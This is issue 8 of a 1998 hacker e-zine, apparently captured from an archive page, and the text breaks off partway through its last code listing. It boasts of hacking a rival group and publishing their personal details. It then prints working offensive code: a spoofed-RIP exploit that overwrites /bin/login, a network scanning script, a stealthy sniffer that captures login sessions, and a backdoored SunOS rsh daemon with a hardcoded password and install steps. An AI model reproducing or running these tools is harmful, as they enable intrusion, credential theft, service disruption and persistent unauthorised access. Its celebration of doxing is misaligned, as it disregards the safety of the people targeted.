home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / magazines / crh / crh008.txt < prev    next >
Encoding:
Text File  |  1998-06-21  |  78.5 KB  |  2,345 lines

  1. ──────────────────────────────────────────────────────────────────────────────
  2.         . [cZo] .          Team CodeZero Presents            . [cZo] .
  3. ──────────────────────────────────────────────────────────────────────────────
  4.  
  5.  
  6.       /IIIIIIIIII          /IIIIIIIIII           /III   /III
  7.       \ III_____/          \ III___/III          \ III  \ III
  8.        \ III                \ III  \ III          \ III  \_III
  9.         \ III  onfidence     \ IIIIIIII  emains    \ IIIIIIIIII  igh
  10.          \ III                \ III__/III           \ III__/ III
  11.           \ III                \ III  \ III          \ III  \ III
  12.            \ IIIIIIIIII   ___   \ III  \ III   ___    \ III  \ III   ___
  13.             \_________/  /\__\   \__/   \__/  /\__\    \__/   \__/  /\__\
  14.                          \/__/                \/__/                 \/__/
  15.  
  16.  
  17. ──────────────────────────────────────────────────────────────────────────────
  18.                                                                       Issue 8
  19.                                                               22nd March 1998
  20. ───────────────────────────────────────────────────────────────────────────────
  21.  
  22.  
  23.               Man with the plan :  so1o
  24.  
  25.                       The usual :  om3n, zer0x, xFli, electro,
  26.                                    spheroid, el8, ultima, chameleon.
  27.  
  28.                   Not forgotten :  loss, organik, peenut, pzn, suid
  29.                                    helix, deprave, manly, Shok.
  30.  
  31.                          Others :  paladine, Sciri, fiji, ch-E-ztic,
  32.                                    vacuum, humble.
  33.  
  34.                          Cheers :  Darkcyde, Jf.
  35.  
  36.                        Russians :  lirik, DemiGod, stranger, ps.
  37.  
  38.  
  39.                      .-----------[ An Official ]-----------.
  40.                      :      .-----.  .----.   .--.--.      :
  41.                      :      :  .--'  : .-. :  :  :  :      :
  42.                      !_-::  :  :     : `-' ;  :  .  :  ::-_!
  43.                      :~-::  :: :     :: . :   ::    :  ::-~:
  44.                      :      ::.`--.  ::.:  :  ::.:  :      :
  45.                      :      `-----'  `--'--'  `--'--'      :
  46.                      !_-::                             ::-_!
  47.                      :~-::-[ Confidence Remains High ]-::-~:
  48.                      :~-::                             ::-~:
  49.                      `-----------[ Production ]------------'
  50.  
  51.  
  52. ───────────────────────────────────────────────────────────────────────────────
  53.   In This (compact) Installment of Confidence Remains High : 
  54. ───────────────────────────────────────────────────────────────────────────────
  55.  
  56. ------=>  Section A  :  Introduction And Cover Story.
  57.  
  58.     1. Confidence Remains High issue 8....................: Tetsu Khan
  59.     2. sIn (here we go again).............................: so1o
  60.  
  61. ------=>  Section B  :  Exploits And Code.
  62.  
  63.     1. Jimmy J's "vintage warez" : pack #1................: JJ
  64.     2. routed remote......................................: Kit Knox
  65.     3. Wingate scanner....................................: cL0ut
  66.     4. LinSniffer 0.666...................................: humble
  67.     5. SunOS 5.5.1 in.rshd trojan.........................: anonymous
  68.  
  69. ------=>  Section C  :  Phones / Scanning / Radio.
  70.  
  71.     1. Outdials...........................................: Lirik
  72.     2. BlueBoxing in the UK in '98........................: The UK Phreaking
  73.                                                             Elite
  74.     3. UK Phone Definitions and Abbreviations.............: Jf
  75.  
  76. ------=>  Section D  :  Miscellaneous.
  77.  
  78.     1. Top 10 reasons why.................................: anonymous
  79.     2. Hacking Digital Unix 4.0...........................: humble
  80.     3. FreeBSD 2.2.5 rootkit..............................: humble / method
  81.     4. l0ckd0wn.sh........................................: so1o
  82.  
  83. ------=>  Section E  :  World News.
  84.  
  85.     1. VMG 0wned..........................................: sw1tch
  86.  
  87. -------=> Section F  :  Projects.
  88.  
  89.     1. The Rhino9 Sentinel................................: so1o / humble
  90.     2. TotalCon...........................................: so1o
  91.  
  92. ------=> Section G  :  FIN.
  93.  
  94. ───────────────────────────────────────────────────────────────────────────────
  95. ===============================================================================
  96. ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
  97. ===============================================================================
  98. ───────────────────────────────────────────────────────────────────────────────
  99.   1. Confidence Remains High issue 8 : Tetsu Khan
  100. ───────────────────────────────────────────────────────────────────────────────
  101.  
  102. It's all good, issue 8 is here, life is good, and I feel great. Blah blah blah,
  103. enjoy :D
  104.  
  105.  
  106. The distro list..
  107. =================
  108.  
  109.    ftp.sekurity.org                                 /users/so1o/
  110.    www.fth.org                                      /crh/
  111.    www.technotronic.com                             /files/ezines/crh/
  112.    cybrids.simplenet.com                            /Toast/files/CRH/
  113.    ftp.linuxwarez.com                               /pub/crh/
  114.   
  115.  
  116. Also check out..
  117. ================
  118.  
  119.    www.hacked.net     <-- Archive of all the stuff we have 0wned.
  120.  
  121.    /server dark.technonet.com 6667   #!r00td0wn
  122.    ---------------------------------------------
  123.                  ^-- or kali.cylink.net, dhp.com 6666, few others..
  124.  
  125.  
  126.  want to mail us? tk85@hotmail.com, you got CRH on your site? tell us f00l!
  127.  
  128. ───────────────────────────────────────────────────────────────────────────────
  129.   2. sIn (here we go again) : so1o  
  130. ───────────────────────────────────────────────────────────────────────────────
  131.  
  132. I have on thing to say, and that is.. we 0wned sIn, go see it at hacked.net,
  133. www.hacked.net/exp/com/sinnerz/, we also pulled their d0x, they now live in
  134. phear. PERIOD, it is over. yes? We win, you lose, every time.
  135.  
  136. here is a p1c 0f s0me sIn cl00bag t4ken by 4n el8 s4tellit3 :
  137.  
  138.                  \|||||/
  139.                  / o o \    __________       |
  140.                 {   ^   }-=/ give me  \      |
  141.                  \_____/    \ vB k0dez!|     |
  142.                     |    /   ``````````      |
  143.                    /|\  /              O     |
  144.                   / | \/                     |
  145.                     |                        |
  146.                    / \                       |
  147.                   /   \                      |
  148.  
  149.  
  150. w0w, fh 1s pl4y1ng w4ll b4ll, a p0pular m0rmon pastt1me!
  151.  
  152. For free sIn d0x to add to your 0wn filez of 0wnersh1p, check earlier CRH
  153. issues (namedly 3-5).. CRH distro list in pt.1
  154.  
  155. ───────────────────────────────────────────────────────────────────────────────
  156. ===============================================================================
  157. ==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]==
  158. ===============================================================================
  159. ───────────────────────────────────────────────────────────────────────────────
  160.   1. Jimmy J's "vintage warez" : pack #1
  161. ───────────────────────────────────────────────────────────────────────────────
  162.  
  163.                                 ####      ####
  164.                                 ####      ####
  165.                                 ####      ####
  166.                            #### #### #### ####
  167.                            #### #### #### ####
  168.                            #### #### #### ####
  169.                             #######   #######
  170.  
  171.                     Jimmy J's "vintage warez" : pack #1
  172.                     -----------------------------------
  173.  
  174.       phf - The old favourite but with some new and useful options
  175.             such as trying the bash ff hole to avoid phf filtering
  176.             the newline character.
  177.  
  178.  test-cgi - Another oldie allowing you to remotely list files.  Good
  179.             for getting an idea what CGIs are on the machine as well as
  180.             other stuff, including packages installed etc.
  181.  
  182.      icat - Grab a file from a remote machine running imapd.  (You need
  183.             a valid account on the box)
  184.  
  185. Included in the crh008.zip is a vintage.tgz, these are Linux binaries for
  186. the programs above, the two CGI exploits are as old as the hills but they
  187. never seem to die so I dusted off some old archives and set about refining
  188. them into a semi-useful state.
  189.  
  190. You can now specify a port number and a path to the CGI if you need and the
  191. phf script even swaps spaces for %20s provided you use it properly.
  192.  
  193. I'm just releasing these for a laugh really.  Someone, somewhere will
  194. appreciate the effort.
  195.  
  196. I am not responsible for any use or misuse of these warez.  They are for
  197. informational purposes.
  198.  
  199. I urge the novice script kiddies among you to read the comments if you're
  200. eager to learn what's going on behind the scenes and why.  Learning is good.
  201.  
  202. That's it.  Have fun.
  203.  
  204. JJ.
  205.  
  206. (If you wish to contact me mail chris@rootshell.com and he will forward it.)
  207.  
  208. ───────────────────────────────────────────────────────────────────────────────
  209.   2. routed remote : Kit Knox
  210. ───────────────────────────────────────────────────────────────────────────────
  211.  
  212. /*
  213.  * BSD 4.4 based routed trace file exploit
  214.  *
  215.  * Basically, routed on IRIX, AIX and Linux systems can be forced into a debug
  216.  * mode, where a tracefile is specified in the RIP header, this tracefile can
  217.  * be used as a form of DoS, as you can specify it to overwrite system files,
  218.  * the actual contents of the file created is just routing information, so you
  219.  * CANNOT set up .rhosts files or rootshells! You can only use it as DoS,
  220.  * this was also a problem with the old statd remote, but people worked out
  221.  * how to use a "grappling-hook" technique, that gave a remote rootshell, it's
  222.  * documented in a CERT advisory for statd, work it out..
  223.  *
  224.  * Originally from l0ck, but recoded by Kit Knox (info@rootshell.com), with
  225.  * RIP spoofing etc. etc. still does the DoS, no rootshells yet :P
  226.  *
  227.  * NOTE : routed usually runs on port 520.
  228.  */
  229.  
  230. /* File to append to on filesystem with debug output */
  231.  
  232. #define FILETOCREATE    "/bin/login"
  233.  
  234.  
  235. #include <stdio.h>
  236. #include <stdlib.h>
  237. #include <string.h>
  238. #include <unistd.h>
  239. #include <sys/types.h>
  240. #include <sys/socket.h>
  241. #include <netinet/in.h>
  242. #include <netinet/in_systm.h>
  243. #include <netinet/ip.h>
  244. #include <netinet/ip_tcp.h>
  245. #include <linux/udp.h>
  246. #include <netinet/protocols.h>
  247. #include <netdb.h>
  248. #include <protocols/routed.h>
  249. #include <linux/route.h>
  250.  
  251. #define err(x) { fprintf(stderr, x); exit(1); }
  252. #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
  253.  
  254. /*
  255.  * in_cksum --
  256.  *  Checksum routine for Internet Protocol family headers (C Version)
  257.  */
  258. unsigned short in_cksum(addr, len)
  259. u_short *addr;
  260. int len;
  261. {
  262.     register int nleft = len;
  263.     register u_short *w = addr;
  264.     register int sum = 0;
  265.     u_short answer = 0;
  266.  
  267.     /*
  268.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  269.      * sequential 16 bit words to it, and at the end, fold back all the
  270.      * carry bits from the top 16 bits into the lower 16 bits.
  271.      */
  272.     while (nleft > 1)  {
  273.         sum += *w++;
  274.         nleft -= 2;
  275.     }
  276.  
  277.     /* mop up an odd byte, if necessary */
  278.     if (nleft == 1) {
  279.         *(u_char *)(&answer) = *(u_char *)w ;
  280.         sum += answer;
  281.     }
  282.  
  283.     /* add back carry outs from top 16 bits to low 16 bits */
  284.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  285.     sum += (sum >> 16);         /* add carry */
  286.     answer = ~sum;              /* truncate to 16 bits */
  287.     return(answer);
  288. }
  289.  
  290. /* Send faked UDP packet. */
  291. int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
  292. struct sockaddr_in *sin;
  293. unsigned short int s, datalen, sport, dport;
  294. unsigned long  int saddr, daddr;
  295. char *data;
  296. {  
  297.   struct iphdr  ip;
  298.   struct udphdr udp;
  299.   static char packet[8192];
  300.  
  301.   /* Fill in IP header values. */
  302.   ip.ihl      = 5;
  303.   ip.version  = 4;
  304.   ip.tos      = 0;
  305.   ip.tot_len  = htons(28 + datalen);
  306.   ip.id       = htons(31337 + (rand()%100));
  307.   ip.frag_off = 0;
  308.   ip.ttl      = 255;
  309.   ip.protocol = IPPROTO_UDP;
  310.   ip.check    = 0;
  311.   ip.saddr    = saddr;
  312.   ip.daddr    = daddr;
  313.   ip.check    = in_cksum((char *)&ip, sizeof(ip));
  314.  
  315.   /* Fill in UDP header values. Checksums are unnecassary. */
  316.   udp.source = htons(sport);
  317.   udp.dest   = htons(dport);
  318.   udp.len    = htons(8 + datalen);
  319.   udp.check  = (short) 0;
  320.  
  321.   /* Copy the headers into our character array. */
  322.   memcpy(packet, (char *)&ip, sizeof(ip));
  323.   memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  324.   memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
  325.  
  326.   return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
  327.          (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
  328. }
  329.  
  330. /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
  331. unsigned int lookup(host)
  332. char *host;
  333. {
  334.   unsigned int addr;
  335.   struct hostent *he;
  336.  
  337.   addr = inet_addr(host);    /* Try if it's a "127.0.0.1" style string */
  338.   if (addr == -1)         /* If not, lookup the host */
  339.   {
  340.     he = gethostbyname(host);
  341.     if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  342.       return 0;
  343.  
  344.     bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  345.   }
  346.   return(addr);
  347. }
  348.  
  349. void
  350. main(argc, argv)
  351. int argc; char **argv;
  352. {
  353.   unsigned int saddr, daddr;
  354.   struct sockaddr_in sin;
  355.   int s;
  356.   struct rip rp;
  357.  
  358.   if(argc != 4)
  359.     errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]);
  360.  
  361.   if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  362.     err("Unable to open raw socket.\n");
  363.  
  364.   if(!(saddr = lookup(argv[1])))
  365.     err("Unable to lookup source address.\n");
  366.   if(!(daddr = lookup(argv[2])))
  367.     err("Unable to lookup destination address.\n");
  368.  
  369.   sin.sin_family     = AF_INET;
  370.   sin.sin_addr.s_addr= daddr;
  371.   sin.sin_port       = 520;
  372.  
  373.   /* Fill in RIP packet info */
  374.   rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
  375.   rp.rip_vers = RIPVERSION; /* Must be version 1 */
  376.   sprintf(rp.rip_tracefile, FILETOCREATE);
  377.  
  378.   if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  379.   {
  380.     perror("sendpkt_udp");
  381.     err("Error sending the UDP packet.\n");
  382.   }
  383. }
  384.  
  385. ───────────────────────────────────────────────────────────────────────────────
  386.   3. Wingate scanner : trajek / cl0ut
  387. ───────────────────────────────────────────────────────────────────────────────
  388.  
  389. Needs nmap (phrack 51 -> www.phrack.com), work it out, simple..
  390.  
  391.  
  392. skr1pt #1
  393.  
  394. ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here
  395.  
  396. #nmap $1 -p 23 | grep telnet
  397.  if nmap $1 -p 23 | grep telnet ; then
  398.   echo $1 >> scan.results
  399.  fi
  400.  
  401. ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here
  402.  
  403.  
  404. skr1pt #2
  405.  
  406. ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here
  407.  
  408. # tee hee.. cl0ut/1998
  409. host -l $1 | grep "has address" | awk -F ' ' '{ print $4 }' > $1.domains
  410. echo "* Sorting hosts and removing dupes."   
  411. sort < $1.domains > $1.sorted
  412. uniq < $1.sorted > $1.domains
  413. rm -f $1.sorted
  414.  
  415. cat $1.domains | awk -F ' ' '{ print "./b " $1 }' > $1.tmp
  416. rm -fr $1.domains
  417. chmod +x $1.tmp
  418. ./$1.tmp
  419. rm -fr $1.tmp
  420.  
  421. ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here 
  422.  
  423. ───────────────────────────────────────────────────────────────────────────────
  424.   4. LinSniffer 0.666 : humble
  425. ───────────────────────────────────────────────────────────────────────────────
  426.  
  427. /*
  428.  *      LinSniffer 0.666
  429.  *      by humble of rhino9
  430.  *      I am not responsible for what you do with this.
  431.  *
  432.  *      This is like linsniffer, but it uses a linked list
  433.  *      so it won't ignore any connections.
  434.  *
  435.  *      based on original code by Mike Edulla
  436.  *
  437.  *      how many bytes do you want to capture per connection?
  438.  *      it mallocs this much memory for each connection so don't
  439.  *      make it too high
  440.  */
  441.  
  442. #define MAXIMUM_CAPTURE 256
  443. // how long before we stop watching an idle connection?
  444. #define TIMEOUT 30
  445. // log file name?
  446. #define LOGNAME "tcp.log"
  447.  
  448. #include <sys/types.h>
  449. #include <sys/socket.h>
  450. #include <sys/time.h>
  451. #include <netinet/in.h>
  452. #include <netdb.h>
  453. #include <string.h>
  454. #include <linux/if.h>
  455. #include <signal.h>
  456. #include <stdio.h>
  457. #include <arpa/inet.h>
  458. #include <linux/socket.h>
  459. #include <linux/ip.h>
  460. #include <linux/tcp.h>
  461. #include <linux/if_ether.h>
  462. #include <sys/stat.h>
  463. #include <fcntl.h>
  464.  
  465. int sock;
  466. FILE *log;
  467.  
  468. struct connection 
  469. {
  470.     struct connection *next;
  471.  
  472.     time_t start;
  473.     time_t lasthit;
  474.  
  475.     unsigned long saddr;
  476.     unsigned long daddr;
  477.     unsigned short sport;
  478.     unsigned short dport;
  479.  
  480.     unsigned char data[MAXIMUM_CAPTURE];
  481.     int bytes;
  482. };
  483.  
  484. typedef struct connection *clistptr;
  485.  
  486. clistptr head,tail;
  487.  
  488. void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
  489. {
  490.     clistptr newnode;
  491.  
  492.     newnode=(clistptr)malloc(sizeof(struct connection));
  493.     newnode->saddr=sa;
  494.     newnode->daddr=da;
  495.     newnode->sport=sp;
  496.     newnode->dport=dp;
  497.     newnode->bytes=0;
  498.     newnode->next=NULL;
  499.     time(&(newnode->start));
  500.     time(&(newnode->lasthit));
  501.     if (!head)
  502.     {    
  503.         head=newnode;
  504.         tail=newnode;
  505.     }
  506.     else
  507.     {
  508.         tail->next=newnode;
  509.         tail=newnode;
  510.     }
  511. }        
  512.  
  513. char *hostlookup(unsigned long int in)
  514. {
  515.    static char blah[1024];
  516.    struct in_addr i;
  517.    struct hostent *he;
  518.  
  519.    i.s_addr=in;
  520.    he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  521.    if(he == NULL) strcpy(blah, inet_ntoa(i));
  522.    else strcpy(blah, he->h_name);
  523.    return blah;
  524. }
  525.  
  526. char *pretty(time_t *t)
  527.     char *time;
  528.     time=ctime(t);
  529.     time[strlen(time)-6]=0;
  530.     return time;
  531. }
  532.  
  533. int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
  534. {
  535.     clistptr walker,prev;
  536.     int i=0;
  537.     int t=0;
  538.     if (head)
  539.     {
  540.          walker=head;
  541.         prev=head;
  542.         while (walker)
  543.         {
  544.             if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
  545.             {
  546.                 prev->next=walker->next;
  547.                 if (walker==head)
  548.                 {
  549.                     head=head->next;;
  550.                     prev=NULL;
  551.                 }
  552.                 if (walker==tail)
  553.                     tail=prev;
  554.                 fprintf(log,"============================================================\n");
  555.                 fprintf(log,"Time: %s     Size: %d\nPath: %s",pretty(&(walker->start)),walker->bytes,hostlookup(sa));
  556.                 fprintf(log," => %s [%d]\n------------------------------------------------------------\n",hostlookup(da),ntohs(dp));
  557.                 fflush(log);
  558.                 for (i=0;i<walker->bytes;i++)
  559.                 {
  560.                     if (walker->data[i]==13)
  561.                     {
  562.                         fprintf(log,"\n"); 
  563.                         t=0; 
  564.                     }
  565.                     if (isprint(walker->data[i]))
  566.                     {
  567.                         fprintf(log,"%c",walker->data[i]);
  568.                         t++;
  569.                     }
  570.                     if (t>75)
  571.                     {
  572.                         t=0;
  573.                         fprintf(log,"\n");
  574.                     }
  575.                 }
  576.                 fprintf(log,"\n");
  577.                 fflush(log);
  578.                 free (walker);
  579.                 return 1;    
  580.             }
  581.             prev=walker;
  582.             walker=walker->next;
  583.         }
  584.     }    
  585. }
  586. int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,int bytes,char *buffer)
  587. {
  588.     clistptr walker;
  589.  
  590.     walker=head;
  591.     while (walker)
  592.     {
  593.         if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
  594.         {
  595.             time(&(walker->lasthit));
  596.             strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes);
  597.             walker->bytes=walker->bytes+bytes;
  598.             if (walker->bytes>=MAXIMUM_CAPTURE)
  599.             {
  600.                 walker->bytes=MAXIMUM_CAPTURE;
  601.                 remove_node(sa,da,sp,dp);
  602.                 return 1;
  603.             }    
  604.         }
  605.         walker=walker->next;
  606.     }
  607.             
  608. }    
  609.  
  610.  
  611. void setup_interface(char *device);
  612. void cleanup(int);
  613.  
  614.  
  615. struct etherpacket
  616. {
  617.    struct ethhdr eth;
  618.    struct iphdr  ip;
  619.    struct tcphdr tcp;
  620.    char buff[8192];
  621. } ep;
  622.  
  623. struct iphdr *ip;
  624. struct tcphdr *tcp;
  625.  
  626. void cleanup(int sig)
  627. {
  628.     if (sock)
  629.            close(sock);
  630.     if (log)
  631.     {
  632.         fprintf(log,"\nExiting...\n");
  633.         fclose(log);
  634.     }
  635.     exit(0);
  636. }
  637.  
  638. void purgeidle(int sig)
  639. {
  640.     clistptr walker;
  641.     time_t curtime;    
  642.     walker=head;
  643.     signal(SIGALRM, purgeidle);
  644.     alarm(5);
  645. //    printf("Purging idle connections...\n");
  646.  
  647.     time(&curtime);
  648.     while (walker)
  649.     {
  650.         if (curtime - walker->lasthit  > TIMEOUT)
  651.         {
  652. //            printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker->sport,walker->dport);
  653.             remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport);
  654.             walker=head;
  655.         }
  656.         else
  657.             walker=walker->next;
  658.     }
  659. }
  660.  
  661. void setup_interface(char *device)
  662. {
  663.     int fd;
  664.     struct ifreq ifr;
  665.     int s;
  666.     
  667.     //open up our magic SOCK_PACKET
  668.     fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
  669.     if(fd < 0)
  670.     {
  671.         perror("cant get SOCK_PACKET socket");
  672.         exit(0);
  673.     }
  674.  
  675.     //set our device into promiscuous mode
  676.     strcpy(ifr.ifr_name, device);
  677.     s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  678.     if(s < 0)
  679.     {
  680.         close(fd);
  681.         perror("cant get flags");
  682.         exit(0);
  683.     }
  684.     ifr.ifr_flags |= IFF_PROMISC;
  685.     s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  686.     if(s < 0) perror("cant set promiscuous mode");
  687.     sock=fd;
  688. }
  689.  
  690. int filter(void)
  691. {
  692.     int p;
  693.     p=0;
  694.  
  695.     if(ip->protocol != 6) return 0;
  696.     
  697.     p=0;
  698.     if (htons(tcp->dest) == 21) p= 1;
  699.     if (htons(tcp->dest) == 23) p= 1;
  700.     if (htons(tcp->dest) == 106) p= 1;
  701.     if (htons(tcp->dest) == 109) p= 1;
  702.     if (htons(tcp->dest) == 110) p= 1;
  703.     if (htons(tcp->dest) == 143) p= 1;
  704.     if (htons(tcp->dest) == 513) p= 1;
  705.     if (!p) return 0;
  706.         
  707.     if(tcp->syn == 1)
  708.     {
  709. //        printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
  710.         add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  711.     }
  712.     if (tcp->rst ==1)
  713.     {
  714. //        printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
  715.         remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  716.     }
  717.     if (tcp->fin ==1)
  718.     {
  719. //        printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
  720.         remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  721.     }
  722.     log_node(ip->saddr,ip->daddr,tcp->source,tcp->dest,htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  723. }
  724.  
  725.  
  726. void main(int argc, char *argv[])
  727. {
  728.     int x,dn;    
  729.     clistptr c;
  730.     head=tail=NULL;
  731.  
  732.     ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  733.     tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  734.  
  735.     if (fork()==0)
  736.     {
  737.         close(0); close(1); close(2);
  738.         setsid();
  739.         dn=open("/dev/null",O_RDWR);
  740.         dup2(0,dn); dup2(1,dn); dup2(2,dn);
  741.         close(dn);
  742.         setup_interface("eth0");
  743.  
  744.         signal(SIGHUP, SIG_IGN);
  745.         signal(SIGINT, cleanup);
  746.         signal(SIGTERM, cleanup);
  747.         signal(SIGKILL, cleanup);
  748.         signal(SIGQUIT, cleanup);
  749.         signal(SIGALRM, purgeidle);
  750.     
  751.         log=fopen(LOGNAME,"a");
  752.        if (log == NULL) 
  753.         { 
  754.             fprintf(stderr, "cant open log\n");
  755.             exit(0);
  756.         }
  757.  
  758.         alarm(5);
  759.  
  760.         while (1)
  761.         {
  762.             x=read(sock, (struct etherpacket *)&ep, sizeof(struct etherpacket));
  763.             if (x>1)
  764.             {
  765.                 filter();
  766.             }
  767.         }
  768.     }
  769. }
  770.  
  771.  
  772. ───────────────────────────────────────────────────────────────────────────────
  773.   5. SunOS 5.5.1 in.rshd trojan : anonymous
  774. ───────────────────────────────────────────────────────────────────────────────
  775.  
  776. /*
  777.     SunOS 5.5.1 in.rshd trojan
  778.         By anonymous, for the hackers of the w0rld
  779.     1/3/98
  780.  
  781.     Use thiz shizn1t t0 make me!
  782.  
  783.         cc in.rshd.c -o in.rshd -lsocket -lnsl -lintl -lw -ldl -lbsm -lauth
  784.         -DSYSV -DSTRNET -DBSD_COMP -s
  785.  
  786.         Then mv me to /usr/sbin, and restart inetd using:
  787.  
  788.         # kill -HUP <pid of inetd>
  789.  
  790.         w0rd.
  791. */
  792.  
  793. #define PASSWORD "eatme"
  794. #ident    "@(#)in.rshd.c    0.41    92/08/11"
  795.  
  796. #include <sys/types.h>
  797. #include <sys/ioctl.h>
  798. #include <sys/param.h>
  799. #include <sys/socket.h>
  800. #include <sys/time.h>
  801. #include <sys/stat.h>
  802.  
  803. #include <netinet/in.h>
  804.  
  805. #include <arpa/inet.h>
  806.  
  807. #include <stdio.h>
  808. #include <errno.h>
  809. #include <pwd.h>
  810. #include <signal.h>
  811. #include <netdb.h>
  812. #include <syslog.h>
  813.  
  814. #ifdef SYSV
  815. #include <sys/resource.h>
  816. #include <sys/filio.h>
  817. #include <shadow.h>
  818. #include <stdlib.h>
  819.  
  820. #include <security/ia_appl.h>
  821.  
  822. #define    killpg(a,b)    kill(-(a),(b))
  823. #define rindex strrchr
  824. #define index strchr
  825. #endif    /* SYSV */
  826.  
  827. #ifndef NCARGS
  828. #define NCARGS    5120
  829. #endif /* NCARGS */
  830.  
  831. int    errno;
  832. char    *index(), *rindex(), *strncat();
  833. /*VARARGS1*/
  834. int    error();
  835.  
  836. struct ia_status ia_status;
  837. void * iah;
  838. int retval;
  839.  
  840. /*ARGSUSED*/
  841. main(argc, argv)
  842.     int argc;
  843.     char **argv;
  844. {
  845.     struct linger linger;
  846.     int on = 1, fromlen;
  847.     struct sockaddr_in from;
  848.  
  849.     openlog("rsh", LOG_PID | LOG_ODELAY, LOG_DAEMON);
  850.     audit_rshd_setup();    /* BSM */
  851.     fromlen = sizeof (from);
  852.     if (getpeername(0, (struct sockaddr *) &from, &fromlen) < 0) {
  853.         fprintf(stderr, "%s: ", argv[0]);
  854.         perror("getpeername");
  855.         _exit(1);
  856.     }
  857.     if (setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, (char *)&on,
  858.         sizeof (on)) < 0)
  859.         syslog(LOG_WARNING, "setsockopt (SO_KEEPALIVE): %m");
  860.     linger.l_onoff = 1;
  861.     linger.l_linger = 60;            /* XXX */
  862.     if (setsockopt(0, SOL_SOCKET, SO_LINGER, (char *)&linger,
  863.         sizeof (linger)) < 0)
  864.         syslog(LOG_WARNING, "setsockopt (SO_LINGER): %m");
  865.     doit(dup(0), &from);
  866.     /* NOTREACHED */
  867. }
  868.  
  869. char    username[20] = "USER=";
  870. char    homedir[64] = "HOME=";
  871. char    shell[64] = "SHELL=";
  872.  
  873. #ifdef SYSV
  874. char    *envinit[] =
  875.         {homedir, shell, (char *) 0, username, (char *) 0, (char *) 0};
  876. #define    ENVINIT_PATH    2    /* position of PATH in envinit[] */
  877. #define    ENVINIT_TZ    4    /* position of TZ in envinit[] */
  878.  
  879. /*
  880.  *    See PSARC opinion 1992/025
  881.  */
  882. char    userpath[] = "PATH=/usr/bin:";
  883. char    rootpath[] = "PATH=/usr/sbin:/usr/bin";
  884. #else
  885. char    *envinit[] =
  886.         {homedir, shell, "PATH=:/usr/ucb:/bin:/usr/bin", username, 0};
  887. #endif /* SYSV */
  888.  
  889. static char cmdbuf[NCARGS+1];
  890. char hostname [MAXHOSTNAMELEN + 1];
  891.  
  892. doit(f, fromp)
  893.     int f;
  894.     struct sockaddr_in *fromp;
  895. {
  896.     char *cp;
  897.     char locuser[16], remuser[16];
  898.  
  899.     struct passwd *pwd;
  900. #ifdef SYSV
  901.     char *tz, *tzenv;
  902.     struct spwd *shpwd;
  903.     struct stat statb;
  904. #endif /* SYSV */
  905.  
  906.     int s;
  907.     struct hostent *hp;
  908.     short port;
  909.     pid_t pid;
  910.     int pv[2], cc;
  911.     char buf[BUFSIZ], sig;
  912.     int one = 1;
  913.     int trojan=0;
  914.  
  915.     (void) signal(SIGINT, SIG_DFL);
  916.     (void) signal(SIGQUIT, SIG_DFL);
  917.     (void) signal(SIGTERM, SIG_DFL);
  918. #ifdef SYSV
  919.     (void) sigset(SIGCHLD, SIG_IGN);
  920. #endif /* SYSV */
  921. #ifdef DEBUG
  922.     { int t = open("/dev/tty", 2);
  923.       if (t >= 0) {
  924. #ifdef SYSV
  925.         setsid();
  926. #else
  927.         ioctl(t, TIOCNOTTY, (char *)0);
  928. #endif SYSV
  929.         (void) close(t);
  930.       }
  931.     }
  932. #endif
  933.     fromp->sin_port = ntohs((u_short)fromp->sin_port);
  934.     if (fromp->sin_family != AF_INET) {
  935.         syslog(LOG_ERR, "malformed from address\n");
  936.         exit(1);
  937.     }
